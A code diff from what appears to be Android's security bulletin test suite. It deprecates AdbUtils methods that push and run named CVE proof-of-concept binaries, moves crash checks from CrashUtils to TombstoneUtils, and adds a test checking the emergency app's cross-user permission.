+            IShellOutputReceiver receiver)
+            throws Exception {
               return runPoc(pocName, device, timeout, arguments, null, receiver);
     }
 
     /**
-     * Pushes and runs a binary with arguments to the selected device and
-     * ignores any of its output.
+     * Pushes and runs a binary with arguments to the selected device and ignores any of its output.
      *
+     * @deprecated Use {@link NativePoc} instead.
      * @param pocName name of the poc binary
      * @param device device to be ran on
      * @param timeout time to wait for output in seconds
@@ -189,9 +208,15 @@
      * @param envVars run the poc with environment variables
      * @param receiver the type of receiver to run against
      */
-    public static int runPoc(String pocName, ITestDevice device, int timeout,
-            String arguments, Map<String, String> envVars,
-            IShellOutputReceiver receiver) throws Exception {
+    @Deprecated
+    public static int runPoc(
+            String pocName,
+            ITestDevice device,
+            int timeout,
+            String arguments,
+            Map<String, String> envVars,
+            IShellOutputReceiver receiver)
+            throws Exception {
         String remoteFile = String.format("%s%s", TMP_PATH, pocName);
         SecurityTestCase.getPocPusher(device).pushFile(pocName + "_sts", remoteFile);
 
@@ -247,9 +272,12 @@
 
     /**
      * Assert the poc is executable
+     *
+     * @deprecated Use {@link NativePoc} instead.
      * @param pocName name of the poc binary
      * @param device device to be ran on
      */
+    @Deprecated
     private static void assertPocExecutable(String pocName, ITestDevice device) throws Exception {
         String fullPocPath = TMP_PATH + pocName;
         device.executeShellCommand("chmod 777 " + fullPocPath);
@@ -356,7 +384,10 @@
     }
     /**
      * Utility function to help check the exit code of a shell command
+     *
+     * @deprecated Use {@link CommandUtil} instead.
      */
+    @Deprecated
     public static int runCommandGetExitCode(String cmd, ITestDevice device) throws Exception {
         long time = System.currentTimeMillis();
         String exitStatusString = runCommandLine(
@@ -378,16 +409,17 @@
     }
 
     /**
-     * Pushes and runs a binary to the selected device and checks exit code
-     * Return code 113 is used to indicate the vulnerability
+     * Pushes and runs a binary to the selected device and checks exit code Return code 113 is used
+     * to indicate the vulnerability
      *
+     * @deprecated Use {@link NativePoc} instead.
      * @param pocName a string path to poc from the /res folder
      * @param device device to be ran on
      * @param timeout time to wait for output in seconds
      */
     @Deprecated
-    public static boolean runPocCheckExitCode(String pocName, ITestDevice device,
-                                              int timeout) throws Exception {
+    public static boolean runPocCheckExitCode(String pocName, ITestDevice device, int timeout)
+            throws Exception {
 
        //Refer to go/asdl-sts-guide Test section for knowing the significance of 113 code
        return runPocGetExitStatus(pocName, device, timeout) == 113;
@@ -395,11 +427,13 @@
 
     /**
      * Pushes and runs a binary to the device and returns the exit status.
+     *
+     * @deprecated Use {@link NativePoc} instead.
      * @param pocName a string path to poc from the /res folder
      * @param device device to be ran on
      * @param timeout time to wait for output in seconds
-
      */
+    @Deprecated
     public static int runPocGetExitStatus(String pocName, ITestDevice device, int timeout)
             throws Exception {
        return runPocGetExitStatus(pocName, null, device, timeout);
@@ -407,36 +441,49 @@
 
     /**
      * Pushes and runs a binary to the device and returns the exit status.
+     *
+     * @deprecated Use {@link NativePoc} instead.
      * @param pocName a string path to poc from the /res folder
      * @param arguments input arguments for the poc
      * @param device device to be ran on
      * @param timeout time to wait for output in seconds
      */
-    public static int runPocGetExitStatus(String pocName, String arguments, ITestDevice device,
-            int timeout) throws Exception {
+    @Deprecated
+    public static int runPocGetExitStatus(
+            String pocName, String arguments, ITestDevice device, int timeout) throws Exception {
               return runPocGetExitStatus(pocName, arguments, null, device, timeout);
     }
 
     /**
      * Pushes and runs a binary to the device and returns the exit status.
+     *
+     * @deprecated Use {@link NativePoc} instead.
      * @param pocName name of the poc binary
      * @param arguments input arguments for the poc
      * @param envVars run the poc with environment variables
      * @param device device to be run on
      * @param timeout time to wait for output in seconds
      */
+    @Deprecated
     public static int runPocGetExitStatus(
-            String pocName, String arguments, Map<String, String> envVars,
-            ITestDevice device, int timeout) throws Exception {
+            String pocName,
+            String arguments,
+            Map<String, String> envVars,
+            ITestDevice device,
+            int timeout)
+            throws Exception {
         return runPoc(pocName, device, timeout, arguments, envVars, null);
     }
 
     /**
      * Pushes and runs a binary and asserts that the exit status isn't 113: vulnerable.
+     *
+     * @deprecated Use {@link NativePoc} instead.
      * @param pocName a string path to poc from the /res folder
      * @param device device to be ran on
      * @param timeout time to wait for output in seconds
      */
+    @Deprecated
     public static void runPocAssertExitStatusNotVulnerable(
             String pocName, ITestDevice device, int timeout) throws Exception {
         runPocAssertExitStatusNotVulnerable(pocName, null, device, timeout);
@@ -444,27 +491,37 @@
 
     /**
      * Pushes and runs a binary and asserts that the exit status isn't 113: vulnerable.
+     *
+     * @deprecated Use {@link NativePoc} instead.
      * @param pocName a string path to poc from the /res folder
      * @param arguments input arguments for the poc
      * @param device device to be ran on
      * @param timeout time to wait for output in seconds
      */
-    public static void runPocAssertExitStatusNotVulnerable(String pocName, String arguments,
-            ITestDevice device, int timeout) throws Exception {
+    @Deprecated
+    public static void runPocAssertExitStatusNotVulnerable(
+            String pocName, String arguments, ITestDevice device, int timeout) throws Exception {
         runPocAssertExitStatusNotVulnerable(pocName, arguments, null, device, timeout);
     }
 
     /**
      * Pushes and runs a binary and asserts that the exit status isn't 113: vulnerable.
+     *
+     * @deprecated Use {@link NativePoc} instead.
      * @param pocName name of the poc binary
      * @param arguments input arguments for the poc
      * @param envVars run the poc with environment variables
      * @param device device to be ran on
      * @param timeout time to wait for output in seconds
      */
+    @Deprecated
     public static void runPocAssertExitStatusNotVulnerable(
-            String pocName, String arguments, Map<String, String> envVars,
-            ITestDevice device, int timeout) throws Exception {
+            String pocName,
+            String arguments,
+            Map<String, String> envVars,
+            ITestDevice device,
+            int timeout)
+            throws Exception {
         assertTrue("PoC returned exit status 113: vulnerable",
                 runPocGetExitStatus(pocName, arguments, envVars, device, timeout) != 113);
     }
@@ -496,7 +553,7 @@
         }
         runPocAssertNoCrashes(
                 "pacrunner", device, targetPath,
-                new CrashUtils.Config().setProcessPatterns("pacrunner"));
+                new TombstoneUtils.Config().setProcessPatterns("pacrunner"));
         runCommandLine("rm " + targetPath, device);
         return 0; // b/157172329 fix tests that manually check the result; remove return statement
     }
@@ -504,136 +561,164 @@
     /**
      * Runs the poc binary and asserts that there are no security crashes that match the expected
      * process pattern.
+     *
+     * @deprecated Use {@link NativePoc} instead.
      * @param pocName a string path to poc from the /res folder
      * @param device device to be ran on
      * @param processPatternStrings a Pattern string to match the crash tombstone process
      */
-    public static void runPocAssertNoCrashes(String pocName, ITestDevice device,
-            String... processPatternStrings) throws Exception {
+    @Deprecated
+    public static void runPocAssertNoCrashes(
+            String pocName, ITestDevice device, String... processPatternStrings) throws Exception {
         runPocAssertNoCrashes(pocName, device,
-                new CrashUtils.Config().setProcessPatterns(processPatternStrings));
+                new TombstoneUtils.Config().setProcessPatterns(processPatternStrings));
     }
 
     /**
      * Runs the poc binary and asserts that there are no security crashes that match the expected
      * process pattern.
+     *
+     * @deprecated Use {@link NativePoc} instead.
      * @param pocName a string path to poc from the /res folder
      * @param device device to be ran on
      * @param config a crash parser configuration
      */
-    public static void runPocAssertNoCrashes(String pocName, ITestDevice device,
-            CrashUtils.Config config) throws Exception {
+    @Deprecated
+    public static void runPocAssertNoCrashes(
+            String pocName, ITestDevice device, TombstoneUtils.Config config) throws Exception {
         runPocAssertNoCrashes(pocName, device, null, config);
     }
 
     /**
      * Runs the poc binary and asserts that there are no security crashes that match the expected
      * process pattern, including arguments when running.
+     *
+     * @deprecated Use {@link NativePoc} instead.
      * @param pocName a string path to poc from the /res folder
      * @param device device to be ran on
      * @param arguments input arguments for the poc
      * @param config a crash parser configuration
      */
-    public static void runPocAssertNoCrashes(String pocName, ITestDevice device, String arguments,
-            CrashUtils.Config config) throws Exception {
-        AdbUtils.runCommandLine("logcat -c", device);
-        AdbUtils.runPocNoOutput(pocName, device,
-                SecurityTestCase.TIMEOUT_NONDETERMINISTIC, arguments);
-        assertNoCrashes(device, config);
+    @Deprecated
+    public static void runPocAssertNoCrashes(
+            String pocName, ITestDevice device, String arguments, TombstoneUtils.Config config)
+            throws Exception {
+        try (AutoCloseable a = TombstoneUtils.withAssertNoSecurityCrashes(device, config)) {
+            AdbUtils.runPocNoOutput(pocName, device,
+                    SecurityTestCase.TIMEOUT_NONDETERMINISTIC, arguments);
+        }
     }
 
     /**
-     * Runs the poc binary and asserts following 2 conditions.
-     *  1. There are no security crashes in the binary.
-     *  2. The exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
+     * Runs the poc binary and asserts following 2 conditions. 1. There are no security crashes in
+     * the binary. 2. The exit status isn't 113 (Code 113 is used to indicate the vulnerability
+     * condition).
      *
+     * @deprecated Use {@link NativePoc} instead.
      * @param binaryName name of the binary
      * @param arguments arguments for running the binary
      * @param device device to be run on
      */
-    public static void runPocAssertNoCrashesNotVulnerable(String binaryName, String arguments,
-            ITestDevice device) throws Exception {
+    @Deprecated
+    public static void runPocAssertNoCrashesNotVulnerable(
+            String binaryName, String arguments, ITestDevice device) throws Exception {
         runPocAssertNoCrashesNotVulnerable(binaryName, arguments, null, null, device, null);
     }
 
     /**
-     * Runs the poc binary and asserts following 2 conditions.
-     *  1. There are no security crashes in the binary.
-     *  2. The exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
+     * Runs the poc binary and asserts following 2 conditions. 1. There are no security crashes in
+     * the binary. 2. The exit status isn't 113 (Code 113 is used to indicate the vulnerability
+     * condition).
      *
+     * @deprecated Use {@link NativePoc} instead.
      * @param binaryName name of the binary
      * @param arguments arguments for running the binary
      * @param device device to be run on
-     * @param processPatternStrings a Pattern string to match the crash tombstone
-     *        process
+     * @param processPatternStrings a Pattern string to match the crash tombstone process
      */
-    public static void runPocAssertNoCrashesNotVulnerable(String binaryName, String arguments,
-            ITestDevice device, String processPatternStrings[]) throws Exception {
+    @Deprecated
+    public static void runPocAssertNoCrashesNotVulnerable(
+            String binaryName, String arguments, ITestDevice device, String processPatternStrings[])
+            throws Exception {
         runPocAssertNoCrashesNotVulnerable(binaryName, arguments, null, null, device,
                 processPatternStrings);
     }
 
     /**
-     * Runs the poc binary and asserts following 2 conditions.
-     *  1. There are no security crashes in the binary.
-     *  2. The exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
+     * Runs the poc binary and asserts following 2 conditions. 1. There are no security crashes in
+     * the binary. 2. The exit status isn't 113 (Code 113 is used to indicate the vulnerability
+     * condition).
      *
+     * @deprecated Use {@link NativePoc} instead.
      * @param binaryName name of the binary
      * @param arguments arguments for running the binary
      * @param inputFiles files required as input
-     * @param inputFilesDestination destination directory to which input files are
-     *        pushed
+     * @param inputFilesDestination destination directory to which input files are pushed
      * @param device device to be run on
      */
-    public static void runPocAssertNoCrashesNotVulnerable(String binaryName, String arguments,
-            String inputFiles[], String inputFilesDestination, ITestDevice device)
+    @Deprecated
+    public static void runPocAssertNoCrashesNotVulnerable(
+            String binaryName,
+            String arguments,
+            String inputFiles[],
+            String inputFilesDestination,
+            ITestDevice device)
             throws Exception {
         runPocAssertNoCrashesNotVulnerable(binaryName, arguments, inputFiles, inputFilesDestination,
                 device, null);
     }
 
     /**
-     * Runs the poc binary and asserts following 3 conditions.
-     *  1. There are no security crashes in the binary.
-     *  2. There are no security crashes that match the expected process pattern.
-     *  3. The exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
+     * Runs the poc binary and asserts following 3 conditions. 1. There are no security crashes in
+     * the binary. 2. There are no security crashes that match the expected process pattern. 3. The
+     * exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
      *
+     * @deprecated Use {@link NativePoc} instead.
      * @param binaryName name of the binary
      * @param arguments arguments for running the binary
      * @param inputFiles files required as input
-     * @param inputFilesDestination destination directory to which input files are
-     *        pushed
+     * @param inputFilesDestination destination directory to which input files are pushed
      * @param device device to be run on
-     * @param processPatternStrings a Pattern string to match the crash tombstone
-     *        process
+     * @param processPatternStrings a Pattern string to match the crash tombstone process
      */
-    public static void runPocAssertNoCrashesNotVulnerable(String binaryName, String arguments,
-            String inputFiles[], String inputFilesDestination, ITestDevice device,
-            String processPatternStrings[]) throws Exception {
+    @Deprecated
+    public static void runPocAssertNoCrashesNotVulnerable(
+            String binaryName,
+            String arguments,
+            String inputFiles[],
+            String inputFilesDestination,
+            ITestDevice device,
+            String processPatternStrings[])
+            throws Exception {
         runPocAssertNoCrashesNotVulnerable(binaryName, arguments, null,
                 inputFiles, inputFilesDestination, device, processPatternStrings);
     }
 
     /**
-     * Runs the poc binary and asserts following 3 conditions.
-     *  1. There are no security crashes in the binary.
-     *  2. There are no security crashes that match the expected process pattern.
-     *  3. The exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
+     * Runs the poc binary and asserts following 3 conditions. 1. There are no security crashes in
+     * the binary. 2. There are no security crashes that match the expected process pattern. 3. The
+     * exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
      *
+     * @deprecated Use {@link NativePoc} instead.
      * @param binaryName name of the binary
      * @param arguments arguments for running the binary
      * @param envVars run the poc with environment variables
      * @param inputFiles files required as input
-     * @param inputFilesDestination destination directory to which input files are
-     *        pushed
+     * @param inputFilesDestination destination directory to which input files are pushed
      * @param device device to be run on
      * @param processPatternStrings a Pattern string (other than binary name) to match the crash
-     *        tombstone process
+     *     tombstone process
      */
+    @Deprecated
     public static void runPocAssertNoCrashesNotVulnerable(
-            String binaryName, String arguments, Map<String, String> envVars,
-            String inputFiles[], String inputFilesDestination, ITestDevice device,
-            String... processPatternStrings) throws Exception {
+            String binaryName,
+            String arguments,
+            Map<String, String> envVars,
+            String inputFiles[],
+            String inputFilesDestination,
+            ITestDevice device,
+            String... processPatternStrings)
+            throws Exception {
         pocConfig testConfig = new pocConfig(binaryName, device);
         testConfig.arguments = arguments;
         testConfig.envVars = envVars;
@@ -651,27 +736,28 @@
         String[] processPatternStringsWithSelf = new String[processPatternList.size()];
         processPatternList.toArray(processPatternStringsWithSelf);
         testConfig.config =
-                new CrashUtils.Config().setProcessPatterns(processPatternStringsWithSelf);
+                new TombstoneUtils.Config().setProcessPatterns(processPatternStringsWithSelf);
 
         runPocAssertNoCrashesNotVulnerable(testConfig);
     }
 
     /**
-     * Runs the poc binary and asserts following 3 conditions.
-     *  1. There are no security crashes in the binary.
-     *  2. There are no security crashes that match the expected process pattern.
-     *  3. The exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
+     * Runs the poc binary and asserts following 3 conditions. 1. There are no security crashes in
+     * the binary. 2. There are no security crashes that match the expected process pattern. 3. The
+     * exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
      *
+     * @deprecated Use {@link NativePoc} instead.
      * @param testConfig test configuration
      */
+    @Deprecated
     public static void runPocAssertNoCrashesNotVulnerable(pocConfig testConfig) throws Exception {
         String[] inputFiles = null;
         if(!testConfig.inputFiles.isEmpty()) {
             inputFiles = testConfig.inputFiles.toArray(new String[testConfig.inputFiles.size()]);
             pushResources(inputFiles, testConfig.inputFilesDestination, testConfig.device);
         }
-        runCommandLine("logcat -c", testConfig.device);
-        try {
+        try (AutoCloseable a =
+                TombstoneUtils.withAssertNoSecurityCrashes(testConfig.device, testConfig.config)) {
             runPocAssertExitStatusNotVulnerable(testConfig.binaryName, testConfig.arguments,
                     testConfig.envVars, testConfig.device, TIMEOUT_SEC);
         } catch (IllegalArgumentException e) {
@@ -687,63 +773,6 @@
                 removeResources(inputFiles, testConfig.inputFilesDestination, testConfig.device);
             }
         }
-        if(testConfig.checkCrash) {
-            if (testConfig.config == null) {
-                testConfig.config = new CrashUtils.Config();
-            }
-            assertNoCrashes(testConfig.device, testConfig.config);
-        }
-    }
-
-    /**
-     * Dumps logcat and asserts that there are no security crashes that match the expected process.
-     * By default, checks min crash addresses
-     * pattern. Ensure that adb logcat -c is called beforehand.
-     * @param device device to be ran on
-     * @param processPatternStrings a Pattern string to match the crash tombstone process
-     */
-    public static void assertNoCrashes(ITestDevice device, String... processPatternStrings)
-            throws Exception {
-        assertNoCrashes(device, new CrashUtils.Config().setProcessPatterns(processPatternStrings));
-    }
-
-    /**
-     * Dumps logcat and asserts that there are no security crashes that match the expected process
-     * pattern. Ensure that adb logcat -c is called beforehand.
-     * @param device device to be ran on
-     * @param config a crash parser configuration
-     */
-    public static void assertNoCrashes(ITestDevice device,
-            CrashUtils.Config config) throws Exception {
-        String logcat = AdbUtils.runCommandLine("logcat -d *:S DEBUG:V", device);
-
-        JSONArray crashes = CrashUtils.addAllCrashes(logcat, new JSONArray());
-        JSONArray securityCrashes = CrashUtils.matchSecurityCrashes(crashes, config);
-
-        MetricsReportLog reportLog = SecurityTestCase.buildMetricsReportLog(device);
-        reportLog.addValue("all_crashes", crashes.toString(), ResultType.NEUTRAL, ResultUnit.NONE);
-        reportLog.addValue("security_crashes", securityCrashes.toString(),
-                ResultType.NEUTRAL, ResultUnit.NONE);
-        reportLog.submit();
-
-        if (securityCrashes.length() == 0) {
-            return; // no security crashes detected
-        }
-
-        StringBuilder error = new StringBuilder();
-        error.append("Security crash detected:\n");
-        error.append("Process patterns:");
-        for (Pattern pattern : config.getProcessPatterns()) {
-            error.append(String.format(" '%s'", pattern.toString()));
-        }
-        error.append("\nCrashes:\n");
-        for (int i = 0; i < crashes.length(); i++) {
-            try {
-                JSONObject crash = crashes.getJSONObject(i);
-                error.append(String.format("%s\n", crash));
-            } catch (JSONException e) {}
-        }
-        fail(error.toString());
     }
 
     public static void assumeHasNfc(ITestDevice device) throws DeviceNotAvailableException {
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_187957589.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_187957589.java
index df3e13c..78a791c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_187957589.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_187957589.java
@@ -20,6 +20,7 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -34,9 +35,11 @@
     @AsbSecurityTest(cveBugId = 187957589)
     public void testPocBug_187957589() throws Exception {
         assumeFalse(moduleIsPlayManaged("com.google.android.os.statsd"));
-        AdbUtils.runPoc("Bug-187957589", getDevice());
-        // Sleep to ensure statsd was able to process the injected event.
-        Thread.sleep(5_000);
-        AdbUtils.assertNoCrashes(getDevice(), "statsd");
+        TombstoneUtils.Config config = new TombstoneUtils.Config().setProcessPatterns("statsd");
+        try (AutoCloseable a = TombstoneUtils.withAssertNoSecurityCrashes(getDevice(), config)) {
+            AdbUtils.runPoc("Bug-187957589", getDevice());
+            // Sleep to ensure statsd was able to process the injected event.
+            Thread.sleep(5_000);
+        }
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_248251018.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_248251018.java
new file mode 100644
index 0000000..4b8389e
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_248251018.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.*;
+
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Bug_248251018 extends NonRootSecurityTestCase {
+
+    @Test
+    @AsbSecurityTest(cveBugId = 248251018)
+    public void testEmergencyInfo_cannotInteractAcrossUsers() throws Exception {
+        String packageList =
+                getDevice()
+                        .executeShellV2Command("pm list package com.android.emergency")
+                        .getStdout();
+        if (!packageList.isEmpty()) {
+            String result =
+                    getDevice()
+                            .executeShellV2Command("dumpsys package com.android.emergency")
+                            .getStdout();
+            assertFalse(result.contains("android.permission.INTERACT_ACROSS_USERS_FULL"));
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_2182.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_2182.java
index 93acb60..4a03870 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_2182.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_2182.java
@@ -19,8 +19,9 @@
 import static org.junit.Assume.assumeFalse;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
+
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -38,8 +39,8 @@
         assumeFalse(moduleIsPlayManaged("com.google.android.conscrypt"));
         String binaryName = "CVE-2016-2182";
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
-        testConfig.config.checkMinAddress(false);
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config.setIgnoreLowFaultAddress(false);
         AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9428.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9428.java
index cb7ce2c..0eafd02 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9428.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9428.java
@@ -17,8 +17,10 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
+
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -33,9 +35,13 @@
     @AsbSecurityTest(cveBugId = 74122779)
     @Test
     public void testPocCVE_2018_9428() throws Exception {
-        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        String signals[] = {
+            TombstoneUtils.Signals.SIGSEGV,
+            TombstoneUtils.Signals.SIGBUS,
+            TombstoneUtils.Signals.SIGABRT
+        };
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2018-9428", getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns("audioserver");
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns("audioserver");
         testConfig.config.setSignals(signals);
         testConfig.config.setAbortMessageIncludes("service stream still open");
         AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9537.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9537.java
index 21b6df0..2534954 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9537.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9537.java
@@ -17,8 +17,9 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
+
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -35,11 +36,11 @@
     @Test
     public void testPocCVE_2018_9537() throws Exception {
         String binaryName = "CVE-2018-9537";
-        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        String signals[] = {TombstoneUtils.Signals.SIGSEGV, TombstoneUtils.Signals.SIGBUS, TombstoneUtils.Signals.SIGABRT};
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
         // example of check crash to skip:
         // Abort message: 'frameworks/av/media/extractors/mkv/MatroskaExtractor.cpp:548 CHECK(mCluster) failed.'
-        testConfig.config = new CrashUtils.Config()
+        testConfig.config = new TombstoneUtils.Config()
                 .setProcessPatterns(binaryName)
                 .appendAbortMessageExcludes("CHECK\\(.*?\\)");
         testConfig.config.setSignals(signals);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9549.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9549.java
index 5b41c12..556d01f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9549.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9549.java
@@ -17,8 +17,9 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
+
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -34,9 +35,9 @@
     @Test
     public void testPocCVE_2018_9549() throws Exception {
         String binaryName = "CVE-2018-9549";
-        String signals[] = {CrashUtils.SIGABRT};
+        String signals[] = {TombstoneUtils.Signals.SIGABRT};
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
         testConfig.config.setSignals(signals);
         testConfig.config
                 .setAbortMessageIncludes(AdbUtils.escapeRegexSpecialChars("ubsan: mul-overflow"));
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
index 660d993..de26408 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
@@ -18,9 +18,10 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import java.util.regex.Pattern;
 import org.junit.Test;
@@ -41,10 +42,10 @@
         AdbUtils.assumeHasNfc(getDevice());
         assumeIsSupportedNfcDevice(getDevice());
         pocPusher.only64();
-        String signals[] = {CrashUtils.SIGABRT};
+        String[] signals = {TombstoneUtils.Signals.SIGABRT};
         String binaryName = "CVE-2018-9558";
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
                 .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
                         "rw_t2t_handle_tlv_detect_rsp"));
         testConfig.config
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java
index c8246c4..2834e2b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java
@@ -17,9 +17,10 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import java.util.regex.Pattern;
 import org.junit.Test;
@@ -40,10 +41,10 @@
         AdbUtils.assumeHasNfc(getDevice());
         assumeIsSupportedNfcDevice(getDevice());
         pocPusher.only64();
-        String signals[] = {CrashUtils.SIGSEGV};
+        String signals[] = {TombstoneUtils.Signals.SIGSEGV};
         String binaryName = "CVE-2019-2012";
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
                 .setBacktraceIncludes(
                         new BacktraceFilterPattern("libnfc-nci", "rw_t3t_update_block"));
         testConfig.config
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java
index 7baea1b..a1a31cf 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java
@@ -17,8 +17,9 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
+
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
